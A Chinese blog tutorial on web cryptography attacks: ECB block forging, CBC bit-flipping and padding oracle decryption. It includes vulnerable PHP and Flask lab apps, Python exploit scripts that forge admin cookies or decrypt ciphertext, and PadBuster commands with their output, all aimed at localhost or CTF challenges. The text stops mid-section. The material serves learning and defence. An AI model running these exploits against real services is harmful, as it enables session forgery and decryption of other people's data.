Web中的密码学

ECB问题、CBC比特翻转、Padding Oracle 攻击、哈希扩展攻击

Posted by Xiaoxi on December 8, 2016

Web中的密码学

0x00 前言

这篇wiki,我想将Web方面相关带有密码学属性的知识归纳、学习、总结一下。不过,由于个人能力的限制,这篇博文参考了很多大大的博客,也难免会有一些谬误(如果有错,请在下方评论,方便我及时修正)。在此,再次感谢各位大大的分享。

当然,我也很希望这篇文章能让你收获一些知识。

0x01 ECB 模式

密码学中,区块(Block)密码的工作模式有六种(ECB、CBC、PCBC、CFB、OFB、CTR)。如果你想详细了解这几种模式,可以参考对称加密和分组加密中的四种模式(ECB、CBC、CFB、OFB)及对应的wiki

这里首先讨论最简单的ECB模式。

电子密码本(Electronic codebook,ECB)模式。需要加密的消息按照块密码的块大小被分为数个块,并对每个块进行独立加密。

4

这种模式最大的问题就是它是使用对所有的密文使用同一个密钥进行加密,所以同样的明文一定会加密成同样的密文。

所以,如果存在多组明文进行加密,那么我们只需要观察一组明文-密文对就能得到所有明文的现象。

下面,参考安全客的一篇文章

题目源码:

<?php
function AES($data){
    $privateKey = "12345678123456781234567812345678";
    $encrypted = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $privateKey, $data, MCRYPT_MODE_ECB);
    $encryptedData = (base64_encode($encrypted));
    return $encryptedData;
}
function DE__AES($data){
    $privateKey = "12345678123456781234567812345678";
    $encryptedData = base64_decode($data);
    $decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $privateKey, $encryptedData, MCRYPT_MODE_ECB);
    $decrypted = rtrim($decrypted, "\0") ;
    return $decrypted;
}
if (@$_GET['a']=='reg'){
    setcookie('uid', AES('9'));
    setcookie('username', AES($_POST['username']));
    header("Location: http://127.0.0.1/ecb.php");
    exit();
}
if (@!isset($_COOKIE['uid'])||@!isset($_COOKIE['username'])){
    echo '<form method="post" action="ecb.php?a=reg">
Username:<br>
<input type="text"  name="username">
<br>
Password:<br>
<input type="text" name="password" >
<br><br>
<input type="submit" value="注册">
</form> ';
}
else{
    $uid = DE__AES($_COOKIE['uid']);
    if ( $uid != '4'){
        echo 'uid:' .$uid .'<br/>';
        echo 'Hi ' . DE__AES($_COOKIE['username']) .'<br/>';
        echo 'You are not administrotor!!';
    }
    else {
          echo "Hi you are administrotor!!" .'<br/>';
        echo 'Flag is 360 become better';
    }
}
?>

在注册的时候,我们可以控制我们的用户名,但是我们的UID被默认设置为9。而后面,我们需要修改uid到4来提升我们的权限到administrotor。

因为这里采用的是ECB模式,所以我们可以依据username的明文操纵生成我们想要的uid密文。这里AES采用了128位的加密,即16个字节。所以,我们可以注册17个字节,多出的那一个字节就可以是我们希望的UID的值,而此时我们查看username的密文增加部分就是UID的密文,即可伪造UID。(因为第十七个字节单独为一组,前面十六个字节为一组)

所以,我们的payload应该如下

#coding=utf-8
import urllib
import urllib2
import base64
import cookielib
import Cookie
for num in range(1,50):
    reg_url='http://127.0.0.1/ecb.php?a=reg'
    index_url='http://127.0.0.1/ecb.php'
    cookie=cookielib.CookieJar()
    opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
    opener.addheaders.append(('User-Agent','Mozilla/5.0'))
    num=str(num)
    values={'username':'aaaaaaaaaaaaaaaa'+num,'password':'123'}
    data=urllib.urlencode(values)
    opener.open(reg_url,data)
    text=opener.open(index_url,data)
    for ck in cookie:
        if ck.name=='username':
            user_name=ck.value
    user_name = urllib.unquote(user_name)
    user_name = base64.b64decode(user_name)
    hex_name = user_name.encode('hex')
    hex_name = hex_name[len(hex_name)/2:]
    hex_name = hex_name.decode('hex')
    uid = base64.b64encode(hex_name)
    uid = urllib.quote(uid)
    for ck in cookie:
        if ck.name=='uid':
            ck.value=uid
    text=opener.open(index_url).read()
    if 'Flag' in text:
        print text
        break
    else:
       print num

0x02 CBC 比特翻转

这里讨论CBC下的字节反转攻击。

密码分组链接(CBC,Cipher-block chaining)模式。在CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。在这种方法中,每个密文块都依赖于它前面的所有密文块。同时,为了保证每条消息的唯一性,在第一个块中需要使用初始化向量。

加密:

1

大致流程如下:

  1. 首先将明文分组(常见的以16字节128位为一组),位数不足的使用特殊字符填充(一般是PKCS#7或PKCS#5格式填充)。

  2. 生成一个随机的初始化向量(IV)和一个密钥key。

  3. 将IV和第一组明文异或。

  4. 用密钥对3中异或后产生的密文加密。

  5. 用4中产生的密文对第二组明文进行异或操作。

  6. 用密钥对5中产生的密文加密。

  7. 重复4-7,到最后一组明文。

  8. 将IV和加密后的密文拼接在一起,得到最终的密文。

Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块 Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块

解密:

2

  1. 从密文中提取出IV,然后将密文分组。
  2. 使用密钥对第一组的密文解密,然后和IV进行xor得到明文。
  3. 使用密钥对第二组密文解密,然后和2中的密文xor得到明文。
  4. 重复2-3,直到最后一组密文。

Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块

Plaintext-N = Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块

问题:

这里,我们会有两个攻击点:

  1. 更改iv向量,影响第一个明文分组 

  2. 如果我们改变Ciphertext N-1的字节,其会影响到Ciphertext N块的解密过程。 这个就是CBC 比特翻转攻击的原理。

我们假设A为Ciphertext N块的解密结果,即A=Decrypt(Ciphertext N),B为Ciphertext N-1块的内容,C为N块的原文。

那么,我们可以得到C = A xor B。若我们想得到X,则有以下推导

C = A xor B ==>> C xor A xor B = 0 ===>> C xor A xor B xor X = X

而整个解密过程中,B(密文)是我们可以控制的,A由于key未知,而无法准确控制,C是原始的明文,在输出端,无法控制。

所以,我们可以控制B,让B首先变成C xor B xor X (这里的C是指原始的明文),这样最终A与B的异或操作就能变成X

举个例子:


 #!usr/bin/env python
 #-*- coidng:utf-8 -*-
 import os
 from  Crypto.Cipher import AES
 from Crypto import Random
 from binascii import b2a_hex,a2b_hex

 # 生成初始IV、Key、plaintext
 SECRET_KEY = os.urandom(8).encode('hex').upper()
 IV = Random.new().read(16)
 plaintext = 'hello,Pegasus.X!'
 print plaintext

 #进行AES CBC模式加密
 aes = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
 length = 16
 count = len(plaintext)
 add = length - (count % length)
 plaintext = plaintext + ('\0' * add)#填充
 ciphertext = IV + aes.encrypt(plaintext)
 print b2a_hex(ciphertext)

 # 这里,我们修改第10位(左起第一为0位)为M
 ciphertext = list(ciphertext)
 ciphertext[10] = chr(ord(ciphertext[10]) ^ ord(plaintext[10]) ^ ord('M'))
 ciphertext = ''.join(ciphertext)
 print b2a_hex(ciphertext)

 # 解密
 IV = ciphertext[:16]
 ciphertext = ciphertext[16:]
 aes = AES.new(SECRET_KEY, AES.MODE_CBC, IV)
 plaintext = aes.decrypt(ciphertext)
 plaintext = plaintext.rstrip('\0')
 print plaintext
 '''
 hello,Pegasus.X!


6459d9ccf318a227d9b0d800adbfad30097ee6f76a402a67b11c777e68b01ed5f0dbb7f0274cab53775f4e228b0f4e8c


6459d9ccf318a227d9b0e800adbfad30097ee6f76a402a67b11c777e68b01ed5f0dbb7f0274cab53775f4e228b0f4e8c


hello,PegaMus.X!


[Finished in 0.1s]
 '''

可以从上述代码看到,我们通过控制B来伪造最终的源码

攻击场景

在Web领域,这种攻击方式最常见的方式就是权限提升,即利用这种攻击来修改cookie、Session等等敏感数据的某几个字节。(此外,可根据一些特定的代码逻辑,恶意构造数据,让解密后的数据去进行一些奇特的操作,比如SQL注入、命令执行等等。不过,这个场景,我现在没碰到过。还有,这种攻击的局限性在于其能修改控制的字节不能过多,且最好在一个块内,不然会导致数据解密混乱。如果伪造的数据量实在太大,那么就应该合理构造,因为出来的明文会这样:[controlled][broken][controlled][broken]。这种场景最大的可能就是注入类型,可以通过可控的部分来注释到broken的部分。参考自lynahex的博客)

这里举一个最简单的例子(来自pigctf):

假设如下php代码:

<!-- please login as uid=1!--> 
<?php 
include("AES.php"); 
highlight_file('index.php');     
$v = "1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123"; 
$b = array(); 
$enc = @encrypt($v); 
//S9PsFp43k9VgyrggRHLbISjUAjwzSSPPajrF9Dzz0o/ieSZbxwGjTJ5xhAZEi5tDBjvwsQtH0BynlLC0p0F0zOZMx25M6iekcLvX//MNKSA=
$b = isset($_COOKIE[user])?@decrypt(base64_decode($_COOKIE[user])):$enc; 
$uid = substr($b,strpos($b,"uid")+4,1); 
echo 'uid:'.$uid.'<br/>'; 
if ($uid == 1){ 
        echo $flag; 
} 
else { 
        echo "Hello Client!"; 
} 
setcookie("user",base64_encode($enc)); 
?> 

这里,我们需要是uid变成1(这题的key和IV是系统设置好的)

那么,我们只需要将第47位的数据变成1就好

<?php
$enc=base64_decode("S9PsFp43k9VgyrggRHLbISjUAjwzSSPPajrF9Dzz0o/ieSZbxwGjTJ5xhAZEi5tDBjvwsQtH0BynlLC0p0F0zOZMx25M6iekcLvX//MNKSA=");
$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));
echo base64_encode($enc);
?>

这样得到cookie,替代原来的cookie后就能弹flag

再给一个安全客的例子:这里可以通过BurpSuite的intruder模块来找到需要翻转的位置,这是攻击IV的。具体攻击方式参考:http://bobao.360.cn/learning/detail/3100.html

<?php  
$cipherText = $_GET['a'];//89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1
$padkey = hex2bin('66616974683434343407070707070707');
$iv = hex2bin('f4ebb2df9c29efd7625561a15096cd24');
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');    
if (mcrypt_generic_init($td, $padkey, $iv) != -1)    
{    
    $p_t = mdecrypt_generic($td, hex2bin($cipherText));    
    mcrypt_generic_deinit($td);    
    mcrypt_module_close($td);
    $p_t = trimEnd($p_t);
    $tmp = explode(':',$p_t);
    if ($tmp[2]=='0'){
        print @'id:'.@$tmp[2].'<br/>';
         echo 'Flag is T00ls become better';
    }
    else{
echo 'Your are noob!fuck noob!!';
        echo @'<br/>id:'.@$tmp[2].'<br/>';
        echo @'name:'.@$tmp[0].'<br/>';
        echo @'email:'.@$tmp[1].'<br/>';
    }
}     
function pad2Length($text, $padlen){    
    $len = strlen($text)%$padlen;    
    $res = $text;    
    $span = $padlen-$len;
    for($i=0; $i<$span; $i++){    
        $res .= chr($span);    
    }
    return $res;    
}
function trimEnd($text){    
    $len = strlen($text);    
    $c = $text[$len-1];    
    if(ord($c) <$len){    
        for($i=$len-ord($c); $i<$len; $i++){    
            if($text[$i] != $c){    
                return $text;    
            }    
        }    
        return substr($text, 0, $len-ord($c));    
    }    
    return $text;    
}

其它的例子,请参考lynahexLixingcongHcamael

0x03 Padding Oracle 攻击

这是CBC模式下存在的攻击,与具体的加密算法无关(当然,必须是分组加密)。不过,实际上Padding Oracle不能算CBC模式的问题,它的根源在于应用程序对异常的处理反馈到了用户界面(即服务器对解密后数据Padding规则的校验。若不符合Padding规则,则返回500.其它,返回200),是算法在生产环境中使用不当造成的问题。

PKCS#5

PKCS#5是一种Padding规则。你可以从找到详细的设计细节。

简单来说,它在数据填充中,使用缺失的位数长度来统一填充。缺5位就用5个0x05填充,缺2位就用2个0x02填充;如果正好为8位,就需要扩展8个0x08填充。具体如下图所示:

8

问题本质

我们可以构想如下一个可以被利用的漏洞服务器,来解释其特点:对于请求,会有如下反馈:

  • 如果解密过程没有问题,明文验证(如用户名密码验证)也通过,则会返回正常 HTTP 200;
  • 如果解密过程没有问题,但是明文验证出错(如用户名密码验证),则还是会返回 HTTP 200,只是内容上是提示用户用户名密码错误;
  • 如果解密过程出问题,比如Padding规则核对不上,则会爆出 HTTP 500错误。

这就是先前说的,服务器对解密过程的异常反馈到了用户界面,这种反馈会导致整体的危险性。

攻击过程

这里采用这篇外文的讲述过程。

  1. 假设请求一个链接: http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6

    CBC模式模式下前八个字节是初始化向量IV(7B216A634951170F)

  2. 加密过程如下

    首先分块,填充了5个0x05,依次加密。

    11

    9

  3. 解密过程如下

    10

    此时,末尾的Padding是符合验证的。即5个0x05

    这个过程中,我们可以发现:因为IV是可以知道的,如果我们通过测试获得了Intermediary Value,那么我们就可以简单的异或操作得到明文。

  4. 现在,我们演示如何获得Intermediary Value。

    • 首先,向服务器发送请求时,把初始化向量全部设为0x00,且只保留第一个块,最终报文是http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537

      其解密过程如下:

      12

      此时,因为最终填充校验有误,服务器就会报错(返回500)。

    • 接着,我们就可以将IV依次增大,去试探。比如,请求http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537

      13

      因为整个异或流程中,Intermediary Value是固定不变的,所以我们最多尝试0xFF次,就肯定能令最后的Padding为0x01。比如000000000000003C

      14

      这里有一个问题,是不是当我们递增初始向量最后一位时,如果碰到服务器返回200时,必然Padding最后一位是0x01呢??答案并不是。

      比如,当中间值最后两位是0x02 0x00,而我们测试的初始向量最后两位是0x00 0x02时,也就是探测最后一位是0x02时,最终的Padding的最后两位是0x02 0x02,必然也满足Padding规则,服务器当然也会返回200。可见,仅仅依靠我们递增最后一位和测试服务器是否返回200,是没办法确认最终的Padding是0x01的。

      那么怎么才能确认呢?观察异或的过程,可以看出,如果padding是0x01,那么,倒数第二位是什么,并不会影响服务器测试结果(因为改变倒数第二位,仅仅是改变了解码后的明文,会导致明文验证过程异常,但是解密过程是没有任何异常的),此时服务器还是返回200。但如果Padding是0x02 0x02,则改变倒数第二位,会导致解密异常,服务器返回500。因此,我们通过测试倒数第二位,确认了探测过程中得到的Padding是0x01。

      引用自参考10

    • 通过上一步,可以得到初始向量的最后一位,和确定的Padding最后一位0x01,那么我们就能推导出中间值的最后一位。

      设中间值为A,初始向量为B,明文为C(仅针对最后一位)

      有A xor B = C ,则 A = B xor C

    • 接着,我们就可以碰撞Padding最后两位是0x02 0x02的情况,来得到中间值的最后第二位。注:由于中间值的最后一位已经碰撞出来,而要得到Padding最后一位是0x02,势必初始向量的最后一位也是固定了(?xor 0x3D=02则?=0x3F)。因此,我们要递增的是初始向量的倒数第二位。

      15

    • 以此类推,得到所有的中间值

      16

  5. 现在,我们得到中第一个块的中间值和已知的初始化向量,我们就可以知道第一个块的明文了。依次类推,我们就可以得到后面块的中间值,再得到明文。

实例解析

接下来基于这三个库进行示范:

  1. padBuster.pl
  2. python-paddigoracle
  3. PaddingOracleDemos

首先,在本地运行存在PaddingOracle问题的服务器。

代码如下:

#!/usr/bin/env python 
"""Example web application vulnerable to the Padding Oracle attack.

Example web application vulnerable to the Padding Oracle attack. It uses
AES-128 with PKCS#7 padding and the same static password for both the
encryption key and initialisation vector. There is no HMAC or other message
integrity check.

The app provides two vulnerable methods that decrypt hex encoded values:

 * /echo?crypt=[..]
This method decrypts and returns the provided data. If the padding is incorrect
it shows 'decryption error'.

 * /check?crypt=[..]
This method checks for URL-encoded values in the decrypted data. It returns an
error if the fields ApplicationUsername or Password are missing. If the padding
is incorrect it treats the plaintext as empty and shows 'ApplicationUsername
missing' as well.

For debugging purposes there is also a method to encrypt a (URL-encoded)
plaintext:

 * /encrypt?plain=[..]

Testing:

# curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesame
crypted: 484b850123a04baf15df9be14e87369[..]

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369[..]
decrypted: ApplicationUsername=user&Password=sesame

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369[..]
decrypted: ApplicationUsername=user&Password=sesame
parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
"""

from flask import Flask, request
import urlparse
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import binascii

__author__ = "Georg Chalupar"
__email__ = "gchalupar@gdssecurity.com"
__copyright__ = "Copyright 2015, Gotham Digital Science Ltd"

KEY = "0123456789ABCDEF"
BLOCK_SIZE = 128
REQUIRED_VALUES = ["ApplicationUsername", "Password"]

app = Flask(__name__)

@app.route('/encrypt')
def generate():
    plain = request.args.get('plain', '')
    app.logger.debug('plain: {}'.format(repr(plain)))
    crypted = binascii.hexlify(encrypt(plain))
    app.logger.debug('crypted: {}'.format(crypted))
    return 'crypted: {}'.format(crypted)

@app.route('/echo')
def echo():
    """Decrypts the 'cipher' parameter and returns the plaintext. If the
    padding is incorrect it returns 'decryption error'."""
    crypt = request.args.get('cipher', '')
    app.logger.debug('cipher: {}'.format(crypt))
    try:
        plain = decrypt(binascii.unhexlify(crypt))
    except ValueError as e:
        app.logger.debug('decryption error: {}'.format(e))
        return 'decryption error'
    app.logger.debug('plain: {}'.format(plain))
    return 'decrypted: {}'.format(plain)

@app.route('/check')
def check():
    """Parse URL-encoded values in decrypted 'cipher' parameter. Returns an
    error if it does not find all values in REQUIRED_VALUES. A padding error is
    treated the same as way an empty plaintext string."""
    crypt = request.args.get('cipher', '')
    app.logger.debug('cipher: {}'.format(crypt))
    try:
        plain = decrypt(binascii.unhexlify(crypt))
    except ValueError as e:
        app.logger.debug('decryption error: {}'.format(e))
        plain = ''
    print "plain: {}".format(plain)
    values = urlparse.parse_qs(plain)
    print "decrypted values: {}".format(values)
    for name in REQUIRED_VALUES:
        if name not in values:
            return '{} missing'.format(name)
    return 'decrypted: {}\nparsed: {}'.format(plain, values)
    
def encrypt(plain):
    """Adds PKCS#7 padding and encrypts with AES-128."""
    iv = KEY
    backend = default_backend()
    padder = padding.PKCS7(BLOCK_SIZE).padder()
    padded_data = padder.update(bytes(plain)) + padder.finalize()
    cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv), backend=backend)
    encryptor = cipher.encryptor()
    crypted = encryptor.update(padded_data) + encryptor.finalize()
    return crypted

def decrypt(crypted):
    """Decrypts with AES-128 and removes PKCS#7 padding."""
    iv = KEY
    backend = default_backend()
    cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv), backend=backend)
    decryptor = cipher.decryptor()
    plain = decryptor.update(crypted)
    unpadder = padding.PKCS7(BLOCK_SIZE).unpadder()
    unpadded_data = unpadder.update(plain) + unpadder.finalize()
    return unpadded_data


if __name__ == '__main__':
    app.run(debug=True)

这是一个以PKCS#7的方式进行Padding的128位AES加解密程序,它一共能反馈三种请求,用于进行加密测试的 encrypt,存在简单的PaddingOracle问题的函数/echo?crypt=[..],及对解密结果会有校验的函数:/check?crypt=[..]/encrypt?plain=[..]

我们请求加密ApplicationUsername=PegasusX&Password=test

(需要url编码)

curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3DPegasusX%26Password%3Dtest  
crypted: 484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126

解密测试:

curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126
decrypted: ApplicationUsername=PegasusX&Password=test

修改最后一个块数据,检验是否存在PaddingOracle漏洞

 curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c127
decryption error

可以看到此时,会回显错误数据。

为什么要修改最后一个块,而不是第一个块呢?这是因为PaddingOracle的问题在于Padding,而Padding仅在最后一个块进行Padding。如果修改的不是最后一个块,只会让数据损坏,而不是抛出解密异常。

curl http://127.0.0.1:5000/echo?cipher=184b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126
decrypted: kq?R?H???%r????1me=PegasusX&Password=test

接下来,我们可以依据逻辑编写如下脚本:

#!/usr/bin/env python 
"""Exploits a Padding Oracle vulnerability in an example web application.

Exploits a Padding Oracle vulnerability in an example web application (simple
scenario). It uses the python-paddingoracle library. Simple pattern matching is
performed to detect padding errors.
"""

from paddingoracle import BadPaddingException, PaddingOracle
import requests
import binascii
import logging

__author__ = "Georg Chalupar"
__email__ = "gchalupar@gdssecurity.com"
__copyright__ = "Copyright 2015, Gotham Digital Science Ltd"

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()

    def oracle(self, data, **kwargs):
        """Sends data to web applicaiton and detects padding exception by
        checking for 'decryption error' in the responses"""
        # send HTTP request and receive response
        response = self.session.get('http://127.0.0.1:5000/echo',
            params={'cipher': binascii.hexlify(data)}, timeout=5, verify=False)
        
        # check for error message in response and throw BadPaddingException if it maches
        if 'decryption error' in response.text:
            raise BadPaddingException
        
        logging.debug('No padding exception raised on {}'.format(binascii.hexlify(data)))


if __name__ == '__main__':
    # enable debug logging and create padbuster instance
    logging.basicConfig(level=logging.DEBUG)
    padbuster = PadBuster()

    # value to decrypt
    cipher = '484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126'
    cipherData = binascii.unhexlify(cipher)
    
    # launch padding oracle attack to decrypt value
    # block_size=16: set block size for AES (16 bytes = 128 bits)
    # iv=None: interpret first block as IV and do attempt not decrypt it
    decrypted = padbuster.decrypt(cipherData, block_size=16, iv=None)
    
    # print results
    print('\n\n\nDecrypted cipher value: %s => %r' % (cipher, decrypted))

运行后可以得到数据

Decrypted cipher value: 484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126 => bytearray(b'ame=PegasusX&Password=test\x06\x06\x06\x06\x06\x06')

注:这里由于服务器的IV,我们无法获得。所以,理论上我们没办法爆破出第一个块的数据,我们仅能依据后面几个块的数据,去猜测第一个块的数据情况。

还一种方法就是直接使用padBuster.pl脚本

其使用方式,请参照官方的help页面

$ ./padBuster.pl 

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+
    
    Use: padBuster.pl URL EncryptedSample BlockSize [options]

  Where: URL = The target URL (and query string if applicable)
         EncryptedSample = The encrypted value you want to test. Must
                           also be present in the URL, PostData or a Cookie
         BlockSize = The block size being used by the algorithm

Options:
	 -auth [username:password]: HTTP Basic Authentication 
	 -bruteforce: Perform brute force against the first block 
	 -ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
     -cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
     -encoding [0-4]: Encoding Format of Sample (Default 0)
               0=Base64, 1=Lower HEX, 2=Upper HEX ,3=.NET UrlToken, 4=WebSafe Base64
     -encodedtext [Encoded String]: Data to Encrypt (Encoded)
     -error [Error String]: Padding Error Message
     -headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
	 -interactive: Prompt for confirmation on decrypted bytes
	 -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
	 -log: Generate log files (creates folder PadBuster.DDMMYY)
	 -noencode: Do not URL-encode the payload (encoded by default)
	 -noiv: Sample does not include IV (decrypt first block) 
     -plaintext [String]: Plain-Text to Encrypt
     -post [Post Data]: HTTP Post Data String
	 -prefix [Prefix]: Prefix bytes to append to each sample (Encoded) 
	 -proxy [address:port]: Use HTTP/S Proxy
	 -proxyauth [username:password]: Proxy Authentication
	 -resume [Block Number]: Resume at this block number
	 -usebody: Use response body content for response analysis phase
     -verbose: Be Verbose
     -veryverbose: Be Very Verbose (Debug Only)

./padBuster.pl "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126" "484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126" 16 -encoding 1

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 53

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	1	200	42	N/A
2 **	255	200	16	N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

....
Block 2 Results:
[+] Cipher Text (HEX): c4ece78807a0bd1ee02b447f9345c126
[+] Intermediate Bytes (HEX): a5e5494863fb4d6ed1e491b4e37cabc5
[+] Plain Text: sword=test

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): ame=PegasusX&Password=test

[+] Decrypted value (HEX): 616D653D50656761737573582650617373776F72643D74657374060606060606

[+] Decrypted value (Base64): YW1lPVBlZ2FzdXNYJlBhc3N3b3JkPXRlc3QGBgYGBgY=

-------------------------------------------------------

这样,我们也能获取后面几个块的数据。

接下来,我们看带有check属性的函数:它会对解密的数据进行确认,如果未发现必须的字段,其会返回某个字段缺失的信息,而不是一个特定的错误信息。

如下:

  1. 正常请求,并尝试翻转

    $ curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126
    decrypted: ApplicationUsername=PegasusX&Password=test
    parsed: {'Password': ['test'], 'ApplicationUsername': ['PegasusX']}% 
    $ curl http://127.0.0.1:5000/check\?cipher\=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c127
    ApplicationUsername missing%                                                     
    curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c127
    decryption error%     
    
  2. 仅ApplicationUsername%3DPegasusX

    $ curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3DPegasusX
    crypted: 484b850123a04baf15df9be14e87369b615c2a2cfe04287c17fafc07c670bd7b
    $ curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b615c2a2cfe04287c17fafc07c670bd7b
    decrypted: ApplicationUsername=PegasusX
    $ curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b615c2a2cfe04287c17fafc07c670bd7b
    Password missing%    
    
  3. 仅Password%3Dtest时

    $  curl http://127.0.0.1:5000/encrypt\?plain\=Password%3Dtest           
    crypted: f049aec29c4087567197653070144b3d%                                      
    $ curl http://127.0.0.1:5000/echo\?cipher\=f049aec29c4087567197653070144b3d
    decrypted: Password=test%                                                       
    $ curl http://127.0.0.1:5000/check\?cipher\=f049aec29c4087567197653070144b3d
    ApplicationUsername missing%    
    

这里,我们可以利用其服务器检查缺少参数顺序的特点,来进行攻击。就是针对该代码

    for name in REQUIRED_VALUES:
        if name not in values:
            return '{} missing'.format(name)

在测试过程中,我们发现:如果padding无效,它仍旧会返回“ApplicationUsername missing”。我们只需要预先考虑包含“ApplicationUsername”字段的加密数据:如果padding是正确的,那么我们会得到不同的响应。通过这种方式,我们可以解密除第一块之外的所有块。

ApplicationUsername=PegasusX&Password=test 其共有42个字节,所以应该有3个块(一块16个字节,少的部分填充)

ApplicationUsername=PegasusX 有28个字节,所以占前面两个块。

所以prefix=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3

撰写以下代码:

#!/usr/bin/env python 
"""Exploits a Padding Oracle vulnerability in an example web application.

Exploits a Padding Oracle vulnerability in an example web application (advanced
scenario). It uses the python-paddingoracle library. Simple pattern matching is
performed to detect padding errors.
"""

from paddingoracle import BadPaddingException, PaddingOracle
import requests
import binascii
import logging

__author__ = "Georg Chalupar"
__email__ = "gchalupar@gdssecurity.com"
__copyright__ = "Copyright 2015, Gotham Digital Science Ltd"

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()

    def oracle(self, data, **kwargs):
        """Sends data to web applicaiton and detects padding exception by
        checking for 'ApplicationUsername missing' in the responses."""
        
        # prefix value that decrypts to 'ApplicationUsername=user&Passwor'
        prefix = '484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3'
        cipher = prefix + binascii.hexlify(data)
        
        # send HTTP request and receive response
        response = self.session.get('http://127.0.0.1:5000/check',
            params={'cipher': cipher}, timeout=5, verify=False)
        
        # check for error message in response and throw BadPaddingException if it maches
        if 'ApplicationUsername missing' in response.text:
            raise BadPaddingException
        
        logging.debug('No padding exception raised on {}'.format(binascii.hexlify(data)))

if __name__ == '__main__':
    # enable debug logging and create padbuster instance
    logging.basicConfig(level=logging.DEBUG)
    padbuster = PadBuster()

    # value to decrypt
    cipher = '484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126'
    cipherData = binascii.unhexlify(cipher)
    
    # launch padding oracle attack to decrypt value
    # block_size=16: set block size for AES (16 bytes = 128 bits)
    # iv=None: interpret first block as IV and do attempt not decrypt it
    decrypted = padbuster.decrypt(cipherData, block_size=16, iv=None)
    
    # print results
    print('\n\n\nDecrypted cipher value: %s => %r\n' % (cipher, decrypted))

解密结果:

Decrypted cipher value: 484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126 => bytearray(b'ame=PegasusX&Password=test\x06\x06\x06\x06\x06\x06')

于此同时使用padbuster方式如下:

